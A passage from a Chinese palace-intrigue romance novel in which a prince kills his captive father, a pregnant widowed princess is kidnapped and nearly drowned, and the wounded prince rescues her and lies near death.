须臾,宋砚辞像是感受到了什么一般,微微蹙了蹙眉,向下看了一眼。 忽然忍不住嗤笑出声: “这就是咱们大宋国的皇帝?万万人之上的九五之尊?” 他后退一步,眼神中满是厌恶和鄙夷: “父皇,知凌可是在一岁之后就没尿过裤子了。” 他扔了匕首,脸上原本温润的笑意陡然冷了下来。 “宋樊川,你当初纵容娴妃折辱我母子三人,送我二人去姜国为质,逼得我母亲不得不假死脱身的时候,可想过会有这一日?” “呜呜呜!!呜呜!!” 宋皇瞪大眼睛,眼底泛着猩红,在听宋砚辞提到自己母亲的时候,神情陡然变得激动起来。 宋砚辞眼神微不可察地闪烁了两下,忽然扯了扯唇角,回头笑看着他: “怎么了父皇,您还不知道我母妃没死吧?当初爱她爱得恨不得杀了我皇叔,也要将她夺过来,后来呢?你得到后,珍惜了么?” 宋砚辞微微垂眸,似是想到了什么,自嘲般的冷笑一声,似自言自语,又似说给宋皇听: “不过啊,我果然流着父皇您身上的肮脏的血,一样冷血得像头怪物,一样的——” 他凑近他,黑色幹净的金丝皂靴踩在他辨不清颜色的龙袍袍角,微微低头,笑着在他耳边不紧不慢吐出四个字: “罔悖人伦。” 在宋皇震惊的神色中,宋砚辞缓慢站直了身子,无所谓地挑挑眉: “没錯,我喜欢上了自己弟弟的女人,就是姜国那个联姻的公主,父皇應当看过画像的。” 宋砚辞将这些话说出来后,好似整个人都放松了下来。 他低头捻着手中一个已经泛旧的荷包,眼神中涌现出无限温柔: “是个很爱美,也很娇气的小姑娘。” “喜欢了好些年,不过巧的是,宋知凌也‘死’了,除了我,没人能够再占//有她了,她的孩子一出生就会认我做父亲,我今后还会与她有很多很多孩子。” 宋砚辞的声音很低,带着些许笑意,似乎当真是在跟一个老朋友娓娓道来他的情事。 然而宋皇听在耳中却忍不住瞪大眼睛,被血污染红的眼底满是惊恐之色。 果不其然,宋砚辞说完后,看向了他。 他看了他良久,忽然微微笑了: “说了这么多,父皇一定会替我保守秘密的,您说是吧?” 宋皇口中不住发出呜呜声,挣扎着摇头,满是乞求的意味。 然而他的狼狈挣扎,在宋砚辞平静的眼神中,显得分外可笑与徒劳。 宋砚辞轻轻阖上眼眸,抬起下颌,锋利的喉结上下滚了滚。 宋皇甚至都没看清他是怎么出手的,只覺得胸口一阵凉意,等他低头看过去的时候,那把放在横在自己脖颈间的匕首,此刻正深深插入自己西藏的位置。 宋砚辞攥着匕首,向里又插了半分,语气中带着一丝不易察覺的落寞: “父皇可别怪儿臣狠心,给您个痛快已是孝顺,若您落到你的大儿子手中,只怕还不如现在干脆利落的死。” 他将匕首拔出,鲜血“噗”的一声,喷溅在他侧脸和水蓝色衣衫上。 宋砚辞的肌肤偏冷白,鲜血溅在上面,莫名的诡异。 “父皇您安心上路吧,儿臣仍会保您太上皇之位,葬入……皇陵。” 隨着他最后两个字说完,宋皇的头也缓缓垂了下去。 宋砚辞维持拔刀的动作,定定在那里站了许久,然后抽出帕子,一脸平静地擦拭掉自己脸上手上沾染的血渍。 头也不回地离开了地牢- 打从在宋知凌出殡那日,同宋砚辞闹过一场之后。 姜稚月就再没见他出现在她面前。 日子仿佛又回到了之前,只是春桃端给她的保胎药中,再没了安眠的成分。 整整半个多月,她都将自己困在临安宫的寝殿里足不出户,安心养胎。 司衣局的绣娘来过两次,替她丈量了腰身,说是到后面肚子长得快,要早些将衣裳备好才是。 她不知道宋砚辞要将她留在这里多久,也不知道自己生了孩子后能不能离开。 关于外界的一切,所有在她面前都缄口不提,甚至也许阿姐她们的来信,也被宋砚辞拦了下来。 她知道锦葵和琉璃还在宋砚辞手中,她也知道自己如今應当向他服个软,但每次有了这种想法的时候,又迅速被自己否定了。 她也不知道她在别扭什么,明明从前太子哥哥教过她很多次,做事情要能屈能伸。 姜稚月总覺得,这样的日子有种死气沉沉的感觉。 此前宋砚辞送来的所有话本都看完了,常乐又送来了新的。 他将话本递到自己手里的时候,姜稚月察觉出他的欲言又止。 但她并不关心。 常乐见她漠不关心的样子,长叹一声,转身离开。 及至到了门口的时候,姜稚月的声音忽然响起。 “他受伤了么?” 许久不曾同旁人将话,姜稚月的声音有些生涩干哑。 常乐脚步一顿,尴尬地笑了声,回道: “哎,这、这个……” 常乐是弯着腰面对姜稚月的。 她微微侧头,还是没能看清他的神情。 姜稚月垂下眼睫,纤长的浓睫轻轻颤了几下: “我知道了,你走吧。” 常乐站着没动,过了片刻,哎呀一声,咬了咬牙直言道: “殿下他为了救……” “常公公!” 姜稚月打断他的话。 她的嗓音依旧同从前一样软软的,带着点儿娇气,但语调却比从前多了几分冰冷和强势。 她淡淡抬眸扫了他一眼: “他为谁,亦或是又做了什么,不必向我汇报,倘若那天他死了,你来通知我一声就好。” 常乐听她说出这番话,不禁微微皱了下眉。 隨即他恭敬地诶了一声,“老奴知道了。” 姜稚月对他微微颔首,目送他离开,随后坐到窗边看着外面的梧桐树叶,思绪不知又飘向了何处。 也不知是常乐刻意还是无意。 他方才一进来的时候,姜稚月就闻到了他身上浓重的药材味道。 姜稚月其余的闻不出来,但人参的味道她还是能辨别几分的,再加之他被药材覆盖下的淡淡的血腥味。 她料定是宋砚辞受了伤,且是很严重的伤,足以需要用到上好的人参吊命。 姜稚月不知何时,绞紧了手中的帕子。 她深吸一口气,在心里告诫自己,他既然是为了他的宏图大业,那么即便付出这些也是理所應当。 她没必要为他担忧,也不许自己为他担忧。 可即便是这样想着,姜稚月坐在那里,却越来越觉得心中烦闷,所幸披衣起来,推门走到院中。 这是她这半个月来第一次踏出这个房间。 院中的花木已经开始凋谢,宋国的冬天要比姜国的来得早一些。 姜稚月来到院中的一棵梧桐树下。 那里有一个小小的牌位,是宋知凌出殡那日,她在这里立下的。 牌位下面埋着一双护膝,是来宋国前,她为他缝的。 她手艺不好,那时候只缝了一半就要动身往宋国来,姜稚月便将那护膝带到了马车上,想着一路上总能慢慢绣好。 待到了宋国,天冷得早,宋知凌就能用上了。 当时她为了绣护膝,还故意将宋知凌从马车上赶了下去不让他看。 一面绣,一面忍不住想起宋知凌若是看到她送他的护膝,会高兴成什么样儿。 姜稚月想起宋知凌,唇角忍不住微微勾了起来。 腹中胎儿似乎也感知到她所想,轻轻地动了动。 姜稚月回过神来,伸手摸了摸隆起的肚子,又在宋知凌的牌位前站了会儿,就离开了。 然而就在转身的一瞬间,姜稚月只觉得一阵风声从耳畔刮过,还没反应过来,便感觉颈侧一阵酸麻,整个人突然间就失去了意识。 姜稚月是在一个破庙里醒来的。 醒来的时候,双手被绑在身后,脚上也缠了一圈圈麻绳,在那麻绳上,居然还绑了一块儿巨大的石头。 姜稚月心里咯噔一下,第一反应就是去看自己的肚子。 “别看了,小夫人,你的孩子还在呢!” 姜稚月皱了皱眉,抬头看向来人。 只见对面那人一身黑衣,用黑布蒙面,看不出来是什么人。 姜稚月没说话,双手在身后死死掐着掌心,竭力克制着自己不能在这人面前露怯。 那黑衣人稀奇地“嘖”了声,视线在她身上打量了片刻,然后轻佻地用匕首抬起她的下颌: “想不到小娘们儿还是个胆儿正的,要不是我家主子吩咐,不可让我轻举妄动,我还真想尝尝这怀孕小妇人的滋味儿。” 姜稚月听他这么说,悬着的心稍稍放了下来。 她盯着黑衣人,沉声问: “你家主子是谁?” 黑衣人摇了摇脑袋,“你是不是以为我是傻子?你觉得我会告诉你么?” 姜稚月没出声,视线往四周环视。 黑衣人嘖了声,劝道: “劝你别看了,你现在这样子,就是站起来都困难,还想着逃跑呢。说起来要怪,你就怪宋砚辞吧,本来我们是想拿你那两个丫鬟来威胁你出宫的,谁料他先将人救走了,我们就只好把你打晕请出来了。” “你说什么?!” 姜稚月猛地抬头看他。 什么叫她的两个丫鬟?锦葵和琉璃不是在宋砚辞手中么?! “哟?他没告诉你啊?” 那黑衣人眼底燃烧起熊熊的八卦之火,凑近了过来: “他居然没告诉你?也对,你怀着孕受不得刺激,嘖啧,要说那宋砚辞也是个痴情的种,不过嘛——” 黑衣人伸出右手食指在姜稚月面前晃了晃,语气有些欠兮兮的: “他没告诉你,那我也不告诉你。” “你到底想干什么?!” 姜稚月蹙眉。 她能想到的自己被绑架的唯一可能性,就是他们要用她来威胁宋砚辞。 姜稚月强忍着心里莫名泛上来的酸疼和诸多复杂情绪,冷笑一声: “若是你们想用我来威胁宋砚辞,那你们的算盘打錯了!如今他可是大宋国的太子殿下,数不清的女人前赴后继围绕在他身边。” “不管你们此前听到些什么风言风语,那都是假的!我与他毫无关系!” “哟!还是个长情的。” 黑衣人一听立刻来了兴致,蹲到姜稚月面前,一脸**的表情: “那你倒是给我讲讲,你那夫君宋知凌都死了,你一个寡妇还怀着个孩子,和你那大伯哥同住一个宫殿,我看你姿色也不错,你们……就没发生点什么?” 姜稚月脸色一变,耳朵不受控制地漫上一点红晕。 她瞪着对方: “你休要胡说!今日你要杀要剐随你便!宋砚辞是个冷心冷情的怪物,他肯定不会为了一个无关紧要的我而以身犯险的!要想用我威胁他,你们就死了这条心吧!” 她私心里打的算盘,便是要竭力划清自己和宋砚辞的关系,并且让那些人觉得她没有利用价值,才会对她放松警惕。 然而黑衣人听了,反倒笑得更厉害。 他起身走到旁边,不知从何处变出一个药碗来。 姜稚月一看见那药碗,脸色霎然一变,下意识蹬着腿往后躲去。 “哟,现在知道怕了?刚才不是挺能说的么?” 黑衣人重新蹲到姜稚月面前,笑看着 她: “你错了。” “我们主子自然知道宋砚辞不可能轻易为了个女人以身犯险,我们这次的目标,本就是你腹中的孩子。” 黑衣人瞧见她的反应,啧啧两声: “看来还是宋砚辞将你保护得太好了,你根本不知道你腹中的孩子对整个大宋来说意味着什么。宋砚辞没告诉过你吧,那个瘸子的腿疾是治好了,但是他却终身不可能有子嗣了,所以你腹中的孩子是他唯一……” 那黑衣人还在滔滔不绝地说着什么,姜稚月却猛然镇住了。 宋砚辞不可能有子嗣?! 他怎么从未对他们说过?! 不、不可能!倘若他子嗣有碍,那密室中的那些是什么?! 姜稚月只觉得脑中混沌不堪,所有的一切都像是一团乱麻一样,再加上那黑衣人嗡嗡嗡的声音,她感觉自己的头都要炸开了。 “别说了!” 她实在忍无可忍,猛地高喊出声。 这一声喊完,她和黑衣人同时愣了一下。 随即那黑衣人“噗嗤”一声笑了出来: “不说就不说,你直接喝了吧,免得我灌你。” 姜稚月死死咬着唇,向后躲。 那碗药里有什么,她比谁都清楚。 可她现在被绑得严严实实,毫无还手之力,对方又是个壮汉,她丝毫不是他的对手。 那黑衣人见她躲避,一把将她拉回来,捏着她的脸颊迫她张开嘴,强行将药往她嘴里灌。 这次同上次在寝殿里那次截然不同。 这个男人手劲儿大得厉害,灌人的功夫显然也十分娴熟,几乎所有的药汁都被他灌进了姜稚月的口中。 姜稚月一面挣扎一面痛苦的呜咽。 可这次,再没人能像上次一样来救她。 一碗药灌完,姜稚月苍白的脸上布满泪痕。 她被那人一松开,一连咳嗽了好几下,拼命想将那药吐出来。 可黑衣人却未给她反应的机会,直接拉着她就往寺庙外面走。 姜稚月被踉踉跄跄地拉到门外,还不及看清四周环境,又被他拉着往不远处的一个湖边走去。 “你放心,你很快就可以下去陪你的孩子去了!” 黑衣人显然没了陪她耗下去的意思,一把将她推到湖边,笑道: “你瞧,这四周早就布满了机关,倘若宋砚辞来救你,他只要一出现,就会被四周的弓弩射成一个筛子,啧啧——” 黑衣人掐着她的脸颊,逼她向四周看了一圈,语气十分得意: “有时候我都不得不佩服我主子,能想出这么损的招来。” 姜稚月视线随着他的动作往四周扫了眼,脸上血色顿失,那四周树上、搂上、草丛中,各处都布满了巨型弓弩。 这种巨型弓弩她在姜国时见过,射出的力道能将一棵三人合抱的树干射穿! 倘若宋砚辞来救她,或者是她自己想从水下逃走,几乎不可能! 她感受着腹中渐渐升起来的绞痛之感,绝望地闭上了眼。 却在此时,不远处忽然传来一个女人的呼喊: “不要!” 姜稚月听见熟悉的声音,猛地回头。 第52章 第52章“他有可能会死,对么?…… 待看清楚来人后,薑稚月忍不住蹙了蹙眉: “姚盈初?!” 本应在薑国的姚盈初不知何时出现在了眼前,薑稚月盯着她看了许久,险些以为是自己出现了幻觉。 然而姚盈初却并未看她一眼,只冲过来跑到那黑衣人面前,輕喘着冷声道: “不是说好了,我安排人将她掳出来,你们只将她和她腹中的孩儿解决了么?!” 她指着四周的弓弩: “这些是什么意思?!” 黑衣人似是没料到她会来,“嘿”了一声,语气吊儿郎当的。 “我说姚姑娘啊,你未免太单纯了些!你与我家主子合作的时候,就真以为他会放过宋硯辞么?!拜托了,那可是皇位之争啊!要是换个角度,你觉得宋硯辞就会绕过我家主子么?” 薑稚月在一旁默默皱眉,所以姚盈初是和大皇子合作了? 宋硯辞在临安宫加强了守卫,防住了大皇子的人,却不料这姚盈初居然何时也将人渗透进了宫里,这才让人将她掳了出来? 她看向姚盈初,语气恳切: “姚姑娘,如今我怀着宋知凌的孩子,宋硯辞也早就答应过会送我回姜国,我不会对你造成威胁,你让他们放了我,否则你也看到了,倘若宋砚辞真的来了——” 她向四周看了眼,暗示的意味明显。 “少他妈废话!你们两个娘们儿怎么就没一个省心的?!” 那黑衣人似乎也察觉出了不对,恐再生变,二话不说直接一把扯过姜稚月,没有一丝犹豫地将她推入了水中。 姜稚月甚至连惊呼的声音都没来得及发出,冰冷的湖水瞬间没顶。 她的双手双腳被绑,腳底又坠了块儿大石头,一入水就朝湖底沉了下去。 四周的声音漸漸变得模糊不清,眼前也越来越黑,洒着阳光的湖面似乎離自己越来越远。 但不知为何,越下沉,湖水越温暖。 她被温暖的湖水包裹着,心底竟然生出了一种说不出的安详。 她下意识将自己被绑的双手放在小腹上,唇角含笑輕輕闭上了眼睛。 心中竟然想的是,宋知凌一定还在奈何桥上等着他们母子二人,他们马上就可以团聚了。 就在她的意识即将沉入黑暗的时候,耳畔模模糊糊传来一声“噗通”入水的声音。 随即,追在腳腕的绳索被人割断,她的腰上一緊,整个人被托了起来。 唇上骤然压下来一片柔软冰冷的唇瓣,有人撬开她的唇,有新鮮的空气渡了进来。 姜稚月的意识迟缓地苏醒了一些。 那人带着她逐渐浮出水面,灼亮的日光照过来,她的眼前出现了宋砚辞苍白却俊朗的面容。 姜稚月扯了扯唇角,语气虚弱: “宋砚辞,你是不是傻?” “别说话,保持体力,我带你離开。” 宋砚辞这句话语气艰涩,将她的头轻轻按在他肩上。 姜稚月一靠过去,立刻闻到了一股浓重的血腥味儿。 她抬头朝上看去,男人的薄唇抿成了一条直线,下颌骨緊緊绷着,额角青筋在毫无血色的脸上突兀地直跳。 他眼神死死凝视着前方,一步一步,极其缓慢却又极其坚定地带着她游上了岸。 四周仿若人间地狱一般,满是厮杀的声音,地上、树上深深插着好几支箭弩,就连水中都飘着许多支箭。 姜稚月的视线朝下,宋砚辞抱着她走过的地方,血迹拖成了一条触目惊心的长河。 “宋砚辞,你……” 姜稚月的话未说完,宋砚辞的脚步猛地顿住,一支箭尖从他的左肩处射了出来,宋砚辞颈侧的青筋猛地暴起。 姜稚月惊呼一声,下意识攥緊他的衣裳: “执玉哥哥!!” 宋砚辞似是想安抚她的紧张,低头朝她露出一抹温柔的笑意,继续迈开缓慢的步伐,一点一点朝前走去。 四周还有人在厮杀,哀嚎声和兵器相撞的声音不绝于耳。 姜稚月却觉得所有的声音都像是消失了一般,什么都听不见看不见了。 她的眼里只剩下宋砚辞流着血的伤口和他苍白的脸。 耳畔全是他急促有力的心跳声,一下、一下,似乎重重砸进了她的心里,砸得她眼 眶发烫。 姜稚月的腹中此刻绞痛越来越厉害,意识也越来越模糊。 她的手下意识放在了隆起的小腹上,另一只手紧紧抓着宋砚辞的衣襟。 察觉到她的动作,宋砚辞的脚步一顿,原本冰冷锋利的眼底微微漾出一抹亮色。 “别怕,阿月。” 他的嗓音极其干涩,像是每一个发音都耗尽了他的力气,却无端带给姜稚月从未有过的安心。 不知过了多久,宋砚辞终于将她抱离了那个刀光剑影的地方。 太子的銮驾停在一棵树下,常乐在马车旁焦急地来回徘徊。 一见宋砚辞抱着姜稚月出现,立刻“哎哟”一声迎了上去,匆匆从宋砚辞手中接过姜稚月,抱着进了马车。 宋砚辞随后也被常乐扶了进来。 意识朦胧间,姜稚月见宋砚辞制止了太醫想给他把脉的动作,语气艰难地对太醫说: “先给她看,无论如何,保住……阿月的孩子。” 姜稚月的心底骤然划过一抹细小又尖锐的刺痛,意识彻底消散前,眼泪无声沿着眼角滑落。 再度醒来时,她又回到了那个熟悉的寝殿。 然而这次的心态却同上一次略有几分不同,曾经束缚自己的樊笼如今倒令人莫名安心。 姜稚月侧头去看,宋砚辞正一手握着她的手,趴在床边小憩。 他侧躺着的动作,恰好将他脖颈上一道不浅的伤疤暴露在她的眼中。 姜稚月的心中一时五味杂陈,犹豫了一下,想要伸手去触碰那道伤疤。 才剛一动作,宋砚辞便坐了起来,眼底的清明让他瞧上去分明像是并未睡着的样子。 “你醒了?” 他的语气干哑,毫无血色的脸上神情极其疲惫。 姜稚月抿着唇,不自在地点了点头。 “放心,你的孩子……它很好。”宋砚辞轻笑了一声,语气像是讽刺,“它和宋知凌一样生命力顽强。” 姜稚月眼睛一亮,低头去不自觉抚上小腹。 随后略有几分尴尬地对上宋砚辞的视线,轻声对他道了句谢。 她心中满是被孩子劫后余生的喜悦占据,丝毫没听出宋砚辞后半句话中的不对劲儿来。 宋砚辞盯着她眸底真心实意的喜悦,神色复杂: “阿月用命去护着的孩子,我当然也要替你保护好,你我之间,何必用‘谢’这个字。” 见姜稚月低着头没出声,他在她头顶摸了摸,温柔安抚: “吓坏了吧,好好休息,我让人端些清粥小菜来。” 说罢,他替她将被角掖好,起身离开。 然而才剛一起身,还未走出两步,宋砚辞的脚步突然顿在了原地。 姜稚月有些不明所以,刚想开口问他怎么了,却见宋砚辞的身体晃了两下,轰然倒在了地上。 “执玉哥哥!!” 姜稚月倒抽一口凉气,惊呼着跑下床去- 直到看到太醫替宋砚辞将身上的衣裳剪开,姜稚月才知道宋砚辞身上的伤到底有多严重。 常乐在一旁直抹眼泪。 “殿下先前本就受了重伤,刚刚脱离生命危险,又听闻夫人被绑,明知那四周都是弓弩,专等着他去,他还是毫不犹豫地只身前往……” 宋砚辞身后有好几处箭伤,如今伤口全都裂开了,鮮红色的血从伤口往外涌,止都止不住。 原本腰腹间几道深可见骨的伤口如今也早就血红一片。 而在他胸前,此前最致命的一处刀伤,此刻才堪堪被太医包扎好。 极度的失血和重伤,让宋砚辞的脸色如纸一般惨白,紧闭的眼睛似乎下一刻就会永远睁不开了。 “抱夫人回来的路上,殿下早就已经是强弩之末,可如今殿下初初在宫中站稳脚跟,可用的太医本就少之又少,殿下便只让太医简单地包扎了一下,说是、说是……” 常乐有些说不下去,哽咽了好几下才道: “说是一定要看着夫人腹中的孩子保下来,他才安心。” 常乐瞧了姜稚月一眼,语气哀切: “夫人,我们殿下对于您,真的没有那么多算计!他、他是真的……” 姜稚月紧紧攥住手中的袖口,听着常乐的话,惨白的小脸上神色复杂,心中是说不出的滋味。 褚屹替宋砚辞点住止血的穴道,退到后面来恰好听见常乐的话,冷声制止道: “主子之前怎么交代的你忘了?” 他皱眉看了姜稚月一眼,对常乐道: “你去瞧瞧厨房的参汤怎么样了,主子这里情况危急,还容你在这说主子闲话?!” 常乐擦了擦眼泪,哀叹了声出去了。 常乐走后,褚屹看了姜稚月一眼,语气冷淡道: “屋中血腥味太重,夫人如今有孕,还是回去休息吧。” 察觉出褚屹对自己语气中的不满,姜稚月眼睫轻颤了下,看着他低声恳求: “可否……劳烦告诉我,锦葵和琉璃,是……怎么回事儿?” 褚屹神色一顿,抬眼看了她一下: “夫人还是自己去问你的丫鬟吧。” “那宋砚辞他……” 姜稚月攥紧掌心,内心挣扎了许久,才艰难地问出那句话: “他有可能会死,对么?” 褚屹神色难堪,视线落在床上的宋砚辞身上,良久,低低吐出一个字: “是。” 一瞬间姜稚月只觉得被一盆冰水兜头泼下,眼泪不自觉就从眼眶中涌了出来。 她微微弯下身子,双手掩面,死死咬住唇,然而沉痛的呜咽还是从她的齿缝间溢了出来。 明明前几日,他还那般气定神闲,哪怕是威胁她,逼她做他的太子妃。 那时候的她以为他无所不能,无所畏惧,可这样一个身居高位游刃有余的人,此刻却躺在床上生死未卜。 她一直知道皇位之争是残酷的。 可也许是此前宋砚辞给她的感觉太过松弛,令她无论如何也万万想不到,宋国的皇室危机四伏,已经到了这种地步。 她此刻恨不得宋砚辞再冷血一些,再薄情一些,这样他是不是就可以刀枪不入了。 她是不愿与他在一起,但她也从未想过他真的会死。 他们三个人,宋知凌已经不在了,她不敢想若是宋砚辞也不在了…… 姜稚月的呜咽声悲戚,压抑地回荡在房间里。 忽然,床畔猛地传来兵兵乓乓的响动。 姜稚月猛地起身,还没反应过来,就见张太医举着一双满是鲜血的手跑过来,对褚屹道: “快!快去找人参来!!殿下、殿下他……不成了!” 第53章 第53章温热的血染红了她的绣鞋…… 姜稚月的身子猛地一晃,一下子重新跌坐回椅子上,一股凉意猛然间将她緊緊包裹。 她怔愣地盯着床上宋硯辞的身影,低声喃喃: “不会的,执玉哥哥不会的……” 褚屹深深看了她一眼,才要转身出门,常乐重喘着推门进来,在他身后还跟着一个胡子花白的老者: “给、给,参汤、人参都有……薛神医也请到了!” 几人七手八脚又一涌去了床边。 褚屹看了姜稚月一眼,猶豫道: “夫人如今身子刚保住,要不就先回去休息……” 姜稚月摇了摇头,竭尽全力张了几次嘴,艰难找回自己顫抖的声音: “褚大哥去帮忙吧,不用管我。” 褚屹沉默了一下,出去吩咐了句什么,进来后就也去了床边帮忙。 姜稚月肚子一阵一阵发緊,手指緊紧叩在椅子扶手上,努力强迫自己放松下来。 然而随着时间的推移,那种此前眼睁睁看着宋知淩被那群逮人包围时的,窒息和绝望的感觉,如惊涛骇浪般再度将她淹没。 她抱着自己的双臂,试图驱散浑身的冷意。 不知过了多久,房门再度被推开,姜稚月迟钝地抬头,见到门口的錦葵和琉璃,她的情绪再控制不住,忽然小声哭泣起来。 錦葵慌忙过来,一把将姜稚月抱紧怀里,也小声地哽咽: “对不起公主,对不起,是錦葵回来得晚了,錦葵没能在您身边伺候您。” 姜稚月摇了摇头,早就泣不成声。 锦葵唯恐她再伤心过度,强忍着难过,轻声撫慰着姜稚月,见她情绪渐渐平稳下来,她接过琉璃手中的藥碗,小声哄道: “公主先把保胎藥喝了吧,褚侍卫说你不太好。” 姜稚月闻言,看了眼床边那几人,应了声,接过汤药。 从小娇气的人,此刻也顾不上嫌苦了,端起来便一饮而尽。 喝过保胎药后,姜稚月感觉自己肚子舒服了些。 她猶豫了一下,指了指门口,示意锦葵和琉璃随她出来。 三人去了隔壁房间。 才一进去,姜稚月就迫不及待地问她们: “你们此前去哪儿了?可是宋硯辞将你们关起来了? ” 她潜意识里,希望是宋硯辞将她们两人关了起来,这样她还能有理由让自己去怨他,她的心里也才能好受些。 然而她瞧见锦葵和琉璃对视那一眼时的眼神,立刻就知道那个黑衣人说的才是真的。 姜稚月的心重重沉了下去。 “所以你们是被宋国大皇子掳去了?” “宋硯辞救了你们?” 锦葵低低应了一声: “那日驸马出事……我和琉璃就被掳走了,他们用我威胁三殿下,想让三殿下用你腹中的胎儿换我们的命。” 姜稚月握着锦葵的手猛地一紧。 难怪最初,宋砚辞想过让她打掉孩子。 而那次故意用锦葵在屏风后的身影威胁她,也是宁願让她误会他,也不想让她因为起疑心而担忧。 因为宋砚辞料定,她定然不会相信他会对她们怎么样。 姜稚月的心脏像是被一只大手紧紧攥住,眼泪渐渐模糊了视线。 她的心底五味杂陈,一时不知自己到底该作何反应。 锦葵见她这样,也不敢多言,默默将她拥入怀中,轻轻撫摸着她的背。 过了许久,隔壁房间的门终于响了。 姜稚月猛地站起来冲了出去,就见褚屹将薛神医送了出来。 她脚步一頓,站在门口欲言又止。 褚屹先是看了她一眼,回头对那薛神医略一躬身致谢,比了个请的手势。 等到薛神医的背影彻底消失在院门口,他才收了脸上的笑意,冷冷朝姜稚月看来: “我知道你要问什么,殿下那口气是缓过来了,但仍未脱离危险,夫人还是先行回去吧……” “褚屹!” 姜稚月唤住他要进去的身影,頓了顿,近乎恳求地问: “能给我讲一讲他去救锦葵的事么?” “夫人还是等殿下醒了自己去问他吧。” 褚屹说完,头也不回地转身往房间里走去。 “褚屹……” 姜稚月哽咽的声音里近乎哀求。 褚屹脚步一顿,回头视线在姜稚月和锦葵身上流转了一圈,淡淡道: “罢了,夫人随我来,我给夫人看样东西。” 锦葵原本想跟着姜稚月一起过去,姜稚月拍了拍她的手,对她安抚地笑了笑,示意她留在这里等她。 一个人跟了上去。 进到隔壁殿中后,姜稚月觉得自己心跳得异常快,对于褚屹方才说要给她看的东西分外忐忑。 她一直紧盯着他的动作,看他从胸口取出一封封了火漆的密信。 “夫人自己看吧。” 姜稚月顫抖着接过那封信,反复拆了几次,才将那封着火漆的信封拆开。 即便信纸折了几折,她仍能看出那时宋砚辞的笔记。 姜稚月的眼泪再度不受控制地涌了上来,眼前模糊一片。 她顾不上许多,急忙用袖子将眼泪擦去,动作颤巍巍地一点一点将那封信展开。 那是一封托孤信。 信不长,却充满郑重,字里行间全是对她的担忧与牵挂。 纵使写下这封信的时候,他极有可能有去无回,信中也未有半分流露出过惧意或者退缩。 眼泪一遍遍将眼睛模糊,姜稚月反复看了好久,才将这封不长的信看完。 “他……” 她哽咽了一下,缓了口气,颤着声问: “他何时写下的这封信?” “那日,夫人应当知晓,出现在临安宫寝殿外,故意透露出先太子出殡之事的那两个宫人,是大皇子的人吧。” 姜稚月点点头。 这件事也是她后来才想明白的。 “殿下就是在那之后,才决定要出手的,属下曾提醒过他,那时候我们根基不稳,不宜动手。” 褚屹并未将话说透,但姜稚月已经听懂了事情的全部来龙去脉。 她怔怔地盯着手中的信纸,许久未发一言。 不知过了多久,褚屹才低沉出声: “这件事是之前殿下所交代的,今日殿下在救夫人之前,曾与属下说过,这封信如今还奏效。” 褚屹顿了顿: “如今大皇子一脉在今日已经全部伏诛,再无隐患,若是夫人願意,等属下安排好,就可送您出宫,还是夫人想等您身子好些再……” “不必。” 姜稚月语气干涩,嗓音像是从哭过后肿胀的喉咙中挤出来的一般: “我等他……醒来。” 褚屹似是没料到她会这般说,略有几分诧异地抬头看了她一眼。 但他到底没多话,只道了声: “好,属下唤锦葵来。” 褚屹出去后没多久,锦葵和琉璃就抱着松软的被褥走了进来。 琉璃给姜稚月端了碗热牛乳,陪着她到窗边的榻上坐下,锦葵则去替姜稚月将床褥铺得松软舒适。 “公主既然要等三殿下醒来,也要舒舒服服地等,您如今有孕,今日又折腾一天,还是早些上床来歇下得好,待会儿太医还要煎一副药来,奴婢将您这几日吃的蜜饯都带了过来,为了您腹中的小公子,您可不能嫌苦。” 锦葵似乎对于这么久自己未在她跟前伺候而感到愧疚,一应事情处理得无不细致周到,就连琉璃也一改往日的不着调,变得沉稳内敛起来。 姜稚月喝了半碗牛乳,情绪总算慢慢平缓了下来。 她被锦葵一左一右扶着坐到床上。 姜稚月这才有空问起锦葵和琉璃这段时间的经历。 所幸那大皇子瞧着锦葵和琉璃尚且算是有用的人质,虽也对她们动了刑,但到底并未再对她们有其余过分之事。 主仆三人说了会儿话。 没过多久,姜稚月就有些心力不济,再加之心里始终挂心着宋砚辞,便没了与她们再说下去的心思。 锦葵给琉璃使了个眼色,两人悄无声息地退到了外间。 姜稚月盯着眼前的虚空发起了呆,连天色是什么时候黑的她都不知道。 只是在撑不住困意的时候,迷迷糊糊睡了过去。 可一睡着,梦里全是宋砚辞和宋知淩的影子。 起初是三嗝人一起在围场赛马的场景。 夕阳洒满整片草原,一片金灿灿的颜色,宋知凌和她在前面纵马驰骋,谁都不愿意输给谁,暗暗较着劲。 而宋砚辞的马始终跟在她身后不远不近的位置,保护着她。 那时候的他们无忧无虑,仿佛连吹过来的风都带着雀跃而自由的温度。 之后画面一转,三人又在积厚三尺的雪地中打雪仗。 宋知凌团了个巨大的雪球朝她砸了过来。 冰凉的雪顺着领口滑落进去,姜稚月惊叫一声,转身去花坛边团了一大团雪。 她举着雪团,才想好好报刚才宋知凌砸她之仇,一回头,却猝不及防地发现宋砚辞和宋知凌两人都满身是血地倒在了雪地里。 他们双目紧闭,面色煞白,看起来毫无生气。 从他们身上流出的红艳温热的血,像一条河流,蜿蜒在洁白无瑕的雪地上,最后一直延伸到了她的脚下。 染红了她粉红色的坠着东珠的绣鞋。 姜稚月瞳孔骤缩,突然瘫倒在地惊呼出声。 “公主!” 锦葵的声音忽然传来,姜稚月猛地从噩梦中惊醒。 锦葵一边轻抚她的脊背,一边用帕子替她擦拭眼泪。 姜稚月这才发现,自己早已泪流满面。 她接过锦葵手中的帕子,轻轻擦拭了一下,望向外面漆黑的夜色。 张着唇犹豫了许久,鼓起勇气问道: “他……他醒来了么?” 锦葵轻摇了摇头,小声道: “还未。” 姜稚月长舒一口气,作势要起身下床: “我去瞧……” 话未说完,外面传来琉璃刻意压低的声音: “锦葵姐姐……三殿下他、他醒来了。” 姜稚月闻言,一直悬着的心这才落了下来,却又在下一瞬又重新揪了起来。 她匆匆穿上鞋,便往出跑去。 “公主慢点儿!” 锦葵匆忙追上去,寸步不离地扶住她。 姜稚月跑到隔壁门口的时候,站在门边忽然停了下来。 不知为何,脚底下像是被 什么黏稠的东西紧紧粘住,再挪不开一步。 昏黄的灯光和着血腥味和药味儿从门缝中挤出来,散发出令人窒息的味道。 姜稚月死死咬住唇,指甲在掌心中掐出深红的印子。 她微微低头,盯着门扇和地面缝隙间那一丝光亮,垂下的眼睫飞快颤动。 良久,她无声叹了口气,提着裙摆,失魂落魄地正打算转身离开。 恰在此时,房间的门从里面被人打开。 褚屹面无表情地站在门口。 紧接着,里间传来男人虚弱却一如往常般温柔的声音: “阿月既然来了,为何不进来。” 第54章 第54章突然间俯身在她的唇上吻…… 